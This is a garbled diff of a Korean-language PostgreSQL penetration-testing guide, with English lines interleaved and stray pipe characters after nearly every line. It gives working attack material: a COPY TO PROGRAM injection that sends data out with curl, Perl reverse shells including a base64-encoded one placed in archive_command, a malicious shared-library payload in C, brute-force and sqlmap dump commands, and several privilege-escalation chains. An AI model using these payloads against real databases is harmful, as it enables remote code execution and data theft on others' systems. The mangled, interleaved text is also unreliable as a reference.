PostgreSQL 서비스를 펜테스팅할 때 다음 명령어를 사용하여 데이터베이스 버전 및 사용자를 확인할 수 있습니다.
|
||||
PostgreSQL can be enumerated using tools like `nmap`, `pg_enum`, and `pgdbf`.
|
||||
|
||||
```bash
|
||||
nmap -sV -p 5432 <대상 IP>
|
||||
```
|
||||
- **Nmap**: You can use Nmap to discover PostgreSQL services running on a target system by scanning for open ports.
|
||||
|
||||
또는 PostgreSQL 서비스에 직접 연결하여 버전 및 사용자 정보를 확인할 수 있습니다.
|
||||
- **pg_enum**: This tool can be used to enumerate PostgreSQL instances by querying the pg_enum system catalog.
|
||||
|
||||
```bash
|
||||
psql -h <대상 IP> -U <사용자 이름>
|
||||
```
|
||||
- **pgdbf**: pgdbf is a tool that can be used to enumerate PostgreSQL databases by extracting information from a PostgreSQL database file.
|
||||
|
||||
#### Brute Forcing
|
||||
#### PostgreSQL Exploitation
|
||||
|
||||
PostgreSQL 서비스에 브루트 포싱을 시도하려면 `pgkiller` 또는 `patator`와 같은 도구를 사용할 수 있습니다.
|
||||
PostgreSQL can be exploited using techniques like SQL injection, insecure configurations, weak passwords, and unpatched vulnerabilities.
|
||||
|
||||
```bash
|
||||
pgkiller -U <사용자 이름> -P <패스워드 목록> -h <대상 IP>
|
||||
```
|
||||
- **SQL Injection**: Attackers can exploit SQL injection vulnerabilities in PostgreSQL to extract data, escalate privileges, or execute arbitrary SQL queries.
|
||||
|
||||
또는 패스워드를 단일로 테스트하려면 `psql`을 사용할 수 있습니다.
|
||||
- **Insecure Configurations**: Weak configurations such as default credentials or unnecessary services can be exploited by attackers to gain unauthorized access to a PostgreSQL database.
|
||||
|
||||
```bash
|
||||
psql -h <대상 IP> -U <사용자 이름> -W
|
||||
```
|
||||
- **Weak Passwords**: PostgreSQL instances with weak or default passwords are vulnerable to brute force attacks, allowing attackers to gain unauthorized access.
|
||||
|
||||
#### Exploitation
|
||||
|
||||
PostgreSQL 서비스를 악용하기 위해 `Metasploit` 프레임워크와 같은 도구를 사용할 수 있습니다.
|
||||
|
||||
```bash
|
||||
msfconsole
|
||||
use exploit/linux/postgresql/postgres_payload
|
||||
```
|
||||
|
||||
또는 `sqlmap`과 같은 자동 SQL 인젝션 도구를 사용하여 PostgreSQL 데이터베이스를 공격할 수도 있습니다.
|
||||
|
||||
```bash
|
||||
sqlmap -u "http://<target>/index.php?id=1" --dbms=PostgreSQL --dump
|
||||
```
|
||||
- **Unpatched Vulnerabilities**: Failure to apply security patches can leave PostgreSQL instances vulnerable to known exploits and attacks.
|
||||
```
|
||||
```
|
||||
DETAIL: FATAL: password authentication failed for user "name"
|
||||
|
@ -173,27 +152,27 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
|||
|
||||
| 역할 유형 | |
|
||||
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| rolsuper | 역할은 슈퍼유저 권한을 가집니다. |
|
||||
| rolinherit | 역할은 자동으로 속한 역할의 권한을 상속받습니다. |
|
||||
| rolcreaterole | 역할은 더 많은 역할을 생성할 수 있습니다. |
|
||||
| rolcreatedb | 역할은 데이터베이스를 생성할 수 있습니다. |
|
||||
| rolcanlogin | 역할은 로그인할 수 있습니다. 즉, 이 역할은 초기 세션 인증 식별자로 지정할 수 있습니다. |
|
||||
| rolreplication | 역할은 복제 역할입니다. 복제 역할은 복제 연결을 시작하고 복제 슬롯을 생성하고 삭제할 수 있습니다. |
|
||||
| rolconnlimit | 로그인할 수 있는 역할에 대해 이 설정은 이 역할이 만들 수 있는 동시 연결의 최대 수를 설정합니다. -1은 제한이 없음을 의미합니다. |
|
||||
| rolpassword | 비밀번호가 아닙니다 (항상 `********`로 표시됨) |
|
||||
| rolvaliduntil | 비밀번호 만료 시간(비밀번호 인증에만 사용); 만료일이 없으면 null |
|
||||
| rolbypassrls | 역할은 모든 행 수준 보안 정책을 우회합니다. 자세한 내용은 [5.8절](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)을 참조하세요. |
|
||||
| rolconfig | 실행 시간 구성 변수에 대한 역할별 기본값 |
|
||||
| oid | 역할의 ID |
|
||||
| rolsuper | 역할은 슈퍼유저 권한을 가짐 |
|
||||
| rolinherit | 역할은 자동으로 속한 역할의 권한을 상속받음 |
|
||||
| rolcreaterole | 역할은 더 많은 역할을 생성할 수 있음 |
|
||||
| rolcreatedb | 역할은 데이터베이스를 생성할 수 있음 |
|
||||
| rolcanlogin | 역할은 로그인할 수 있음. 즉, 이 역할은 초기 세션 인증 식별자로 지정될 수 있음 |
|
||||
| rolreplication | 역할은 복제 역할임. 복제 역할은 복제 연결을 시작하고 복제 슬롯을 생성하고 삭제할 수 있음 |
|
||||
| rolconnlimit | 로그인할 수 있는 역할에 대해, 이것은 이 역할이 만들 수 있는 동시 연결의 최대 수를 설정함. -1은 제한이 없음을 의미함 |
|
||||
| rolpassword | 비밀번호가 아님 (항상 `********`로 표시됨) |
|
||||
| rolvaliduntil | 비밀번호 만료 시간 (비밀번호 인증에만 사용됨); 만료일이 없으면 null |
|
||||
| rolbypassrls | 역할은 모든 행 수준 보안 정책을 우회함, 자세한 내용은 [5.8절](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) 참조 |
|
||||
| rolconfig | 실행 시간 구성 변수에 대한 역할별 기본값 |
|
||||
| oid | 역할의 ID |
|
||||
|
||||
#### 흥미로운 그룹
|
||||
|
||||
* **`pg_execute_server_program`**의 멤버인 경우 **프로그램을 실행**할 수 있습니다.
|
||||
* **`pg_read_server_files`**의 멤버인 경우 **파일을 읽을** 수 있습니다.
|
||||
* **`pg_write_server_files`**의 멤버인 경우 **파일을 쓸** 수 있습니다.
|
||||
* **`pg_execute_server_program`**의 멤버인 경우 **프로그램을 실행**할 수 있음
|
||||
* **`pg_read_server_files`**의 멤버인 경우 **파일을 읽을** 수 있음
|
||||
* **`pg_write_server_files`**의 멤버인 경우 **파일을 쓸** 수 있음
|
||||
|
||||
{% hint style="info" %}
|
||||
Postgres에서 **사용자**, **그룹**, **역할**은 **동일**합니다. 이는 **사용 방식** 및 **로그인 허용 여부**에 따라 다릅니다.
|
||||
Postgres에서 **사용자**, **그룹**, **역할**은 **동일**합니다. 이는 **사용 방식** 및 **로그인 허용 여부**에 따라 다름을 주의하세요.
|
||||
{% endhint %}
|
||||
```sql
|
||||
# Get users roles
|
||||
|
@ -291,7 +270,7 @@ GRANT pg_read_server_files TO username;
|
|||
[**추가 정보**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
{% endhint %}
|
||||
|
||||
**다른 포스트그레 함수**를 사용하여 **파일을 읽거나 디렉토리 목록을 표시**할 수 있습니다. 이를 사용할 수 있는 것은 **슈퍼유저**와 **명시적 권한을 가진 사용자**뿐입니다:
|
||||
**다른 포스트그레스 함수**를 사용하여 **파일을 읽거나 디렉토리 목록을 표시**할 수 있습니다. 이를 사용할 수 있는 것은 **슈퍼유저**와 **명시적 권한을 가진 사용자**뿐입니다:
|
||||
```sql
|
||||
# Before executing these function go to the postgres DB (not in the template1)
|
||||
\c postgres
|
||||
|
@ -315,11 +294,11 @@ SHOW data_directory;
|
|||
GRANT pg_read_server_files TO username;
|
||||
# Check CREATEROLE privilege escalation
|
||||
```
|
||||
다음 위치에서 **더 많은 기능**을 찾을 수 있습니다: [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
|
||||
다음은 [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)에서 **더 많은 함수**를 찾을 수 있습니다.
|
||||
|
||||
### 간단한 파일 쓰기
|
||||
|
||||
**슈퍼 사용자** 및 **`pg_write_server_files`** 멤버만 파일을 쓰기 위해 copy를 사용할 수 있습니다.
|
||||
copy를 사용하여 파일을 쓰려면 **슈퍼 사용자** 및 **`pg_write_server_files`** 멤버만 사용할 수 있습니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```sql
|
||||
|
@ -328,7 +307,7 @@ copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/ju
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
만약 당신이 슈퍼 사용자가 아니지만 **`CREATEROLE`** 권한을 가지고 있다면, **해당 그룹의 구성원이 될 수 있습니다:**
|
||||
**`CREATEROLE`** 권한을 가진 슈퍼 사용자가 아니더라도 **해당 그룹의 구성원이 될 수 있습니다:**
|
||||
```sql
|
||||
GRANT pg_write_server_files TO username;
|
||||
```
|
||||
|
@ -354,9 +333,9 @@ COPY는 새 줄 문자를 처리할 수 없으므로 **base64 페이로드를
|
|||
|
||||
### 로컬 파일 쓰기를 통한 PostgreSQL 테이블 데이터 업데이트
|
||||
|
||||
PostgreSQL 서버 파일을 읽고 쓸 권한이 있다면 [PostgreSQL 데이터 디렉토리](https://www.postgresql.org/docs/8.1/storage.html)에서 **연관된 파일 노드를 덮어쓰는 방식으로 서버의 모든 테이블을 업데이트**할 수 있습니다. 이 기술에 대한 **자세한 내용**은 [**여기**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users)에서 확인할 수 있습니다.
|
||||
PostgreSQL 서버 파일을 읽고 쓸 권한이 있는 경우 [PostgreSQL 데이터 디렉토리](https://www.postgresql.org/docs/8.1/storage.html)에서 **연결된 파일 노드를 덮어쓰는 방식으로 서버의 모든 테이블을 업데이트할 수 있습니다**. 이 기술에 대한 **자세한 내용은** [**여기**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users)에서 확인할 수 있습니다.
|
||||
|
||||
수행해야 할 단계:
|
||||
필요한 단계:
|
||||
|
||||
1. PostgreSQL 데이터 디렉토리 획득
|
||||
|
||||
|
@ -365,7 +344,7 @@ SELECT setting FROM pg_settings WHERE name = 'data_directory';
|
|||
```
|
||||
|
||||
**참고:** 설정에서 현재 데이터 디렉토리 경로를 검색할 수 없는 경우 `SELECT version()` 쿼리를 통해 주요 PostgreSQL 버전을 조회하고 경로를 브루트 포스할 수 있습니다. PostgreSQL Unix 설치의 일반적인 데이터 디렉토리 경로는 `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`입니다. 일반적인 클러스터 이름은 `main`입니다.
|
||||
2. 대상 테이블과 연관된 파일 노드에 대한 상대 경로 획득
|
||||
2. 대상 테이블과 연결된 파일 노드에 대한 상대 경로 획득
|
||||
|
||||
```sql
|
||||
SELECT pg_relation_filepath('{TABLE_NAME}')
|
||||
|
@ -377,7 +356,7 @@ SELECT pg_relation_filepath('{TABLE_NAME}')
|
|||
```sql
|
||||
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
|
||||
```
|
||||
4. 대상 테이블과 연관된 데이터 유형 획득
|
||||
4. 대상 테이블과 연결된 데이터 유형 획득
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
|
@ -416,15 +395,15 @@ SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
|
|||
```sql
|
||||
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
|
||||
```
|
||||
8. 이제 PostgreSQL에서 업데이트된 테이블 값을 확인할 수 있습니다.
|
||||
8. 이제 PostgreSQL에서 업데이트된 테이블 값을 확인할 수 있어야 합니다.
|
||||
|
||||
`pg_authid` 테이블을 편집하여 슈퍼 관리자가 될 수도 있습니다. **다음 섹션**을 확인하세요(pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
|
||||
`pg_authid` 테이블을 편집하여 슈퍼 관리자가 될 수도 있습니다. **다음 섹션을** [**참조하세요**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
|
||||
|
||||
## RCE
|
||||
|
||||
### **프로그램으로 RCE**
|
||||
|
||||
[버전 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html)부터 **슈퍼 사용자** 및 **`pg_execute_server_program` 그룹의 구성원**만 RCE에 대해 copy를 사용할 수 있습니다(데이터 유출 예시와 함께:
|
||||
[버전 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html)부터 **슈퍼 사용자** 및 **`pg_execute_server_program` 그룹의 구성원**만 RCE에 대해 copy를 사용할 수 있습니다 (데이터 유출 예시와 함께:
|
||||
```sql
|
||||
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
|
||||
```
|
||||
|
@ -442,7 +421,7 @@ DROP TABLE IF EXISTS cmd_exec;
|
|||
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
만약 슈퍼 사용자가 아니지만 **`CREATEROLE`** 권한을 가지고 있다면 **해당 그룹의 구성원이 될 수 있습니다:**
|
||||
만약 당신이 슈퍼 사용자가 아니지만 **`CREATEROLE`** 권한을 가지고 있다면, **해당 그룹의 구성원이 될 수 있습니다:**
|
||||
```sql
|
||||
GRANT pg_execute_server_program TO username;
|
||||
```
|
||||
|
@ -469,10 +448,10 @@ GRANT pg_execute_server_program TO username;
|
|||
### PostgreSQL 구성 파일 RCE
|
||||
|
||||
{% hint style="info" %}
|
||||
다음 RCE 벡터는 제한된 SQLi 컨텍스트에서 특히 유용합니다. 모든 단계를 중첩된 SELECT 문을 통해 수행할 수 있습니다.
|
||||
다음 RCE 벡터는 중요한 SQLi 컨텍스트에서 특히 유용합니다. 모든 단계를 중첩된 SELECT 문을 통해 수행할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
PostgreSQL의 **구성 파일**은 **데이터베이스를 실행하는 postgres 사용자**에 의해 **쓰기 가능**하므로 **슈퍼 사용자로서 파일 시스템에 파일을 작성**할 수 있습니다.
|
||||
PostgreSQL의 **구성 파일**은 **데이터베이스를 실행하는 postgres 사용자**에 의해 **쓰기 가능**하므로 **슈퍼 사용자로서** 파일 시스템에 파일을 쓸 수 있으며 따라서 **이 파일을 덮어쓸 수 있습니다.**
|
||||
|
||||
![](<../.gitbook/assets/image (322).png>)
|
||||
|
||||
|
@ -484,12 +463,12 @@ PostgreSQL의 **구성 파일**은 **데이터베이스를 실행하는 postgres
|
|||
|
||||
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` 데이터베이스의 개인 키 경로
|
||||
* `ssl_passphrase_command = ''` 개인 파일이 비밀번호로 보호(암호화)되어 있는 경우 PostgreSQL은 **이 속성에 지정된 명령을 실행**합니다.
|
||||
* `ssl_passphrase_command_supports_reload = off` 이 속성이 **on**이면 키가 비밀번호로 보호되어 있으면 **pg_reload_conf()**가 실행될 때 **명령이 실행**됩니다.
|
||||
* `ssl_passphrase_command_supports_reload = off` 이 속성이 **on**이면 키가 비밀번호로 보호되어 있으면 `pg_reload_conf()`가 **실행될 때** 해당 명령이 **실행**됩니다.
|
||||
|
||||
따라서 공격자는 다음을 수행해야 합니다:
|
||||
|
||||
1. 서버에서 **개인 키 덤프**
|
||||
2. 다운로드된 개인 키 **암호화**:
|
||||
2. 다운로드된 개인 키를 **암호화**:
|
||||
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
||||
3. **덮어쓰기**
|
||||
4. 현재 PostgreSQL **구성 덤프**
|
||||
|
@ -498,7 +477,7 @@ PostgreSQL의 **구성 파일**은 **데이터베이스를 실행하는 postgres
|
|||
2. `ssl_passphrase_command_supports_reload = on`
|
||||
6. `pg_reload_conf()` 실행
|
||||
|
||||
이를 테스트하는 동안 이 작업은 **개인 키 파일이 권한 640**을 가지고 있고 **root 소유** 및 **ssl-cert 또는 postgres 그룹** (따라서 postgres 사용자가 읽을 수 있음)이어야 하며 _/var/lib/postgresql/12/main_에 위치해야만 작동함을 알게 되었습니다.
|
||||
이를 테스트하는 동안 이 작업은 **개인 키 파일이 권한 640**을 가지고 있고 **root가 소유**하며 **ssl-cert 또는 postgres 그룹** (따라서 postgres 사용자가 읽을 수 있음)에 속해 있으며 _/var/lib/postgresql/12/main_에 위치해야만 작동함을 알게 되었습니다.
|
||||
|
||||
#### **archive\_command**를 사용한 RCE
|
||||
|
||||
|
@ -506,14 +485,14 @@ PostgreSQL의 **구성 파일**은 **데이터베이스를 실행하는 postgres
|
|||
|
||||
구성 파일의 또 다른 공격 가능한 속성은 `archive_command`입니다.
|
||||
|
||||
이 작업을 수행하려면 `archive_mode` 설정이 `'on'` 또는 `'always'` 여야 합니다. 그렇다면 `archive_command`에서 명령을 덮어쓰고 WAL(Write-Ahead Logging) 작업을 통해 실행하도록 강제할 수 있습니다.
|
||||
이 작업을 수행하려면 `archive_mode` 설정이 `'on'` 또는 `'always'` 여야 합니다. 그렇다면 `archive_command`에서 명령을 덮어쓰고 WAL(write-ahead logging) 작업을 통해 실행하도록 강제할 수 있습니다.
|
||||
|
||||
일반적인 단계는 다음과 같습니다:
|
||||
|
||||
1. 아카이브 모드가 활성화되어 있는지 확인: `SELECT current_setting('archive_mode')`
|
||||
2. 페이로드로 `archive_command` 덮어쓰기. 예를 들어, 역쉘: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
2. `archive_command`를 페이로드로 덮어쓰기. 예를 들어, 역쉘: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
3. 구성 다시로드: `SELECT pg_reload_conf()`
|
||||
4. WAL 작업을 실행하도록 강제하여 아카이브 명령을 호출: 일부 Postgres 버전의 경우 `SELECT pg_switch_wal()` 또는 `SELECT pg_switch_xlog()`
|
||||
4. WAL 작업을 강제로 실행하여 아카이브 명령을 호출: `SELECT pg_switch_wal()` 또는 일부 Postgres 버전의 경우 `SELECT pg_switch_xlog()`
|
||||
|
||||
#### **preload 라이브러리를 사용한 RCE**
|
||||
|
||||
|
@ -521,10 +500,10 @@ PostgreSQL의 **구성 파일**은 **데이터베이스를 실행하는 postgres
|
|||
|
||||
이 공격 벡터는 다음 구성 변수를 활용합니다:
|
||||
|
||||
* `session_preload_libraries` -- PostgreSQL 서버가 클라이언트 연결 시 로드할 라이브러리
|
||||
* `session_preload_libraries` -- PostgreSQL 서버가 클라이언트 연결 시에 로드할 라이브러리
|
||||
* `dynamic_library_path` -- PostgreSQL 서버가 라이브러리를 검색할 디렉토리 목록
|
||||
|
||||
우리는 `dynamic_library_path` 값을 데이터베이스를 실행하는 `postgres` 사용자가 쓸 수 있는 디렉토리인 예를 들어 `/tmp/` 디렉토리로 설정하고 악의적인 `.so` 객체를 업로드할 수 있습니다. 그런 다음 PostgreSQL 서버가 새로 업로드한 라이브러리를 `session_preload_libraries` 변수에 포함하여 로드하도록 강제할 수 있습니다.
|
||||
`dynamic_library_path` 값을 데이터베이스를 실행하는 `postgres` 사용자가 쓸 수 있는 디렉토리인 예를 들어 `/tmp/` 디렉토리로 설정하고 악의적인 `.so` 객체를 업로드할 수 있습니다. 그런 다음 새로 업로드한 라이브러리를 `session_preload_libraries` 변수에 포함하여 PostgreSQL 서버가 해당 라이브러리를 로드하도록 강제할 수 있습니다.
|
||||
|
||||
공격 단계는 다음과 같습니다:
|
||||
|
||||
|
@ -532,7 +511,7 @@ PostgreSQL의 **구성 파일**은 **데이터베이스를 실행하는 postgres
|
|||
2. `dynamic_library_path` 값에 `/tmp/` 디렉토리를 포함, 예: `dynamic_library_path = '/tmp:$libdir'`
|
||||
3. `session_preload_libraries` 값에 악의적인 라이브러리 이름을 포함, 예: `session_preload_libraries = 'payload.so'`
|
||||
4. `SELECT version()` 쿼리를 통해 주요 PostgreSQL 버전 확인
|
||||
5. 올바른 PostgreSQL 개발 패키지로 악의적인 라이브러리 코드를 컴파일합니다. 샘플 코드:
|
||||
5. 올바른 PostgreSQL dev 패키지로 악의적인 라이브러리 코드를 컴파일합니다. 샘플 코드:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
@ -578,19 +557,19 @@ execve("/bin/bash", argv, NULL);
|
|||
```bash
|
||||
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
|
||||
```
|
||||
6. 단계 2-3에서 생성된 악의적인 `postgresql.conf`를 업로드하고 원본을 덮어씁니다.
|
||||
6. 단계 2-3에서 생성된 악의적인 `postgresql.conf`를 업로드하고 원본 파일을 덮어씁니다.
|
||||
7. 단계 5에서 생성된 `payload.so`를 `/tmp` 디렉토리에 업로드합니다.
|
||||
8. 서버 구성을 다시로드하려면 서버를 다시 시작하거나 `SELECT pg_reload_conf()` 쿼리를 호출합니다.
|
||||
9. 다음 DB 연결 시 역쉘 연결을 받게 됩니다.
|
||||
## **Postgres 권한 상승**
|
||||
|
||||
### CREATEROLE 궶한 상승
|
||||
### CREATEROLE 권한 상승
|
||||
|
||||
#### **부여**
|
||||
|
||||
[**문서**](https://www.postgresql.org/docs/13/sql-grant.html)에 따르면: _**`CREATEROLE`** 권한을 가진 역할은 **슈퍼유저가 아닌** **어떤 역할의 멤버십을 부여하거나 취소**할 수 있습니다._
|
||||
[**문서**](https://www.postgresql.org/docs/13/sql-grant.html)에 따르면: _**`CREATEROLE`** 권한을 가진 역할은 **슈퍼유저가 아닌** 모든 역할에 대해 **멤버십을 부여하거나 취소**할 수 있습니다._
|
||||
|
||||
따라서, **`CREATEROLE`** 권한이 있다면 슈퍼유저가 아닌 다른 **역할**에 대한 액세스 권한을 부여할 수 있으며, 이를 통해 파일을 읽고 쓰거나 명령을 실행할 수 있습니다:
|
||||
따라서, **`CREATEROLE`** 권한이 있다면 다른 **역할**에 대한 액세스 권한을 부여할 수 있으며, 이를 통해 파일을 읽고 쓰거나 명령을 실행할 수 있습니다:
|
||||
```sql
|
||||
# Access to execute commands
|
||||
GRANT pg_execute_server_program TO username;
|
||||
|
@ -601,19 +580,19 @@ GRANT pg_write_server_files TO username;
|
|||
```
|
||||
#### 비밀번호 수정
|
||||
|
||||
이 역할을 가진 사용자는 다른 **슈퍼 사용자가 아닌 사용자들의 비밀번호**도 **변경**할 수 있습니다:
|
||||
이 역할을 가진 사용자는 다른 **슈퍼 사용자가 아닌 사용자들**의 **비밀번호를 변경**할 수도 있습니다:
|
||||
```sql
|
||||
#Change password
|
||||
ALTER USER user_name WITH PASSWORD 'new_password';
|
||||
```
|
||||
#### 슈퍼유저로 권한 상승
|
||||
|
||||
**로컬 사용자가 암호를 제공하지 않고도 PostgreSQL에 로그인할 수 있는 것이 일반적**입니다. 따라서 코드를 실행할 **권한을 획득한 후에는 이러한 권한을 남용하여 **`SUPERUSER`** 역할을 부여받을 수 있습니다:**
|
||||
**로컬 사용자가 암호를 제공하지 않고도 PostgreSQL에 로그인할 수 있는 것이 매우 흔합니다**. 따라서 코드를 실행할 권한을 획들한 후에는 이러한 권한을 남용하여 **`SUPERUSER`** 역할을 부여받을 수 있습니다:
|
||||
```sql
|
||||
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
|
||||
```
|
||||
{% hint style="info" %}
|
||||
일반적으로 다음과 같은 **`pg_hba.conf`** 파일의 라인 때문에 가능합니다:
|
||||
일반적으로 이것은 **`pg_hba.conf`** 파일의 다음 라인 때문에 가능합니다:
|
||||
```bash
|
||||
# "local" is for Unix domain socket connections only
|
||||
local all all trust
|
||||
|
@ -628,11 +607,11 @@ host all all ::1/128 trust
|
|||
|
||||
[**이 writeup**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)에서는 사용자에게 부여된 ALTER TABLE 권한을 악용하여 Postgres GCP에서 **권한 상승**이 가능했던 방법에 대해 설명되어 있습니다.
|
||||
|
||||
**다른 사용자를 테이블 소유자로 만들려고** 시도하면 이를 방지하는 **오류**가 발생해야 하지만, GCP에서는 이 **옵션을 슈퍼 사용자가 아닌 postgres 사용자에게** 부여했습니다:
|
||||
**다른 사용자를 테이블 소유자로 만들려고** 시도하면 이를 방지하는 **오류**가 발생해야 하지만, GCP에서는 이 **옵션을 슈퍼 사용자가 아닌 포스트그레 사용자에게** 부여했습니다:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (537).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**INSERT/UPDATE/ANALYZE** 명령이 **인덱스 함수가 있는 테이블**에서 실행될 때, **함수**가 명령의 일부로 **호출**되며 **테이블 소유자의 권한**으로 실행됩니다. 함수가 있는 인덱스를 생성하고 해당 테이블에 대한 소유자 권한을 **슈퍼 사용자**에게 부여한 다음, 악의적인 함수가 포함된 테이블을 ANALYZE하여 소유자의 권한을 사용하기 때문에 명령을 실행할 수 있습니다.
|
||||
**INSERT/UPDATE/ANALYZE** 명령이 **인덱스 함수가 있는 테이블**에서 실행될 때, **함수**가 명령의 일부로 **호출**되며 **테이블 소유자의 권한**으로 실행됩니다. 함수가 있는 인덱스를 생성하고 해당 테이블에 대한 소유자 권한을 **슈퍼 사용자**에게 부여한 다음 악의적인 함수가 포함된 테이블을 ANALYZE하여 소유자의 권한을 사용하여 명령을 실행할 수 있습니다.
|
||||
```c
|
||||
GetUserIdAndSecContext(&save_userid, &save_sec_context);
|
||||
SetUserIdAndSecContext(onerel->rd_rel->relowner,
|
||||
|
@ -641,10 +620,10 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
|||
#### Exploitation
|
||||
|
||||
1. 새 테이블을 생성합니다.
|
||||
2. 테이블에 관련 없는 콘텐츠를 삽입하여 인덱스 기능에 데이터를 제공합니다.
|
||||
3. 코드 실행 페이로드를 포함하는 악의적인 인덱스 함수를 개발하여 무단 명령을 실행할 수 있도록 합니다.
|
||||
4. 테이블의 소유자를 "cloudsqladmin"으로 변경합니다. 이는 GCP의 슈퍼유저 역할로, Cloud SQL이 데이터베이스를 관리하고 유지하는 데 독점적으로 사용됩니다.
|
||||
5. 테이블에 ANALYZE 작업을 수행합니다. 이 작업은 PostgreSQL 엔진을 강제로 테이블 소유자 "cloudsqladmin"의 사용자 컨텍스트로 전환시킵니다. 결과적으로 악의적인 인덱스 함수가 "cloudsqladmin"의 권한으로 호출되어 이전에 무단으로 실행되지 않았던 셸 명령을 실행할 수 있게 됩니다.
|
||||
2. 테이블에 관련 없는 내용을 삽입하여 인덱스 기능에 데이터를 제공합니다.
|
||||
3. 코드 실행 페이로드를 포함하는 악의적 인덱스 함수를 개발하여 무단 명령을 실행할 수 있도록 합니다.
|
||||
4. 테이블의 소유자를 "cloudsqladmin"으로 변경합니다. 이는 Cloud SQL이 데이터베이스를 관리하고 유지하는 데 독점적으로 사용하는 GCP의 슈퍼 사용자 역할입니다.
|
||||
5. 테이블에 대해 ANALYZE 작업을 수행합니다. 이 작업은 PostgreSQL 엔진을 강제로 테이블 소유자 "cloudsqladmin"의 사용자 컨텍스트로 전환시킵니다. 결과적으로 악의적 인덱스 함수가 "cloudsqladmin"의 권한으로 호출되어 이전에 무단으로 실행되지 않았던 셸 명령을 실행할 수 있게 됩니다.
|
||||
|
||||
PostgreSQL에서 이 흐름은 다음과 같습니다:
|
||||
```sql
|
||||
|
@ -704,9 +683,9 @@ RETURNS (result TEXT);
|
|||
```sql
|
||||
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
|
||||
```
|
||||
### 사용자 정의 함수에 SECURITY DEFINER가 지정된 경우
|
||||
### 사용자 정의 함수와 SECURITY DEFINER
|
||||
|
||||
[**이 설명서**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql)에서, 펜테스터들은 IBM에서 제공하는 postgres 인스턴스 내에서 **SECURITY DEFINER 플래그가 지정된 이 함수를 발견**하여 권한 상승을 성공했습니다:
|
||||
[**이 문서**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql)에서, 펜테스터들은 IBM에서 제공하는 포스트그레스 인스턴스 내에서 **SECURITY DEFINER 플래그가 있는 이 함수를 발견**하여 권한 상승을 성공했습니다:
|
||||
|
||||
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
|
||||
RETURNS text
|
||||
|
@ -727,9 +706,9 @@ PERFORM dblink_disconnect();
|
|||
…
|
||||
</code></pre>
|
||||
|
||||
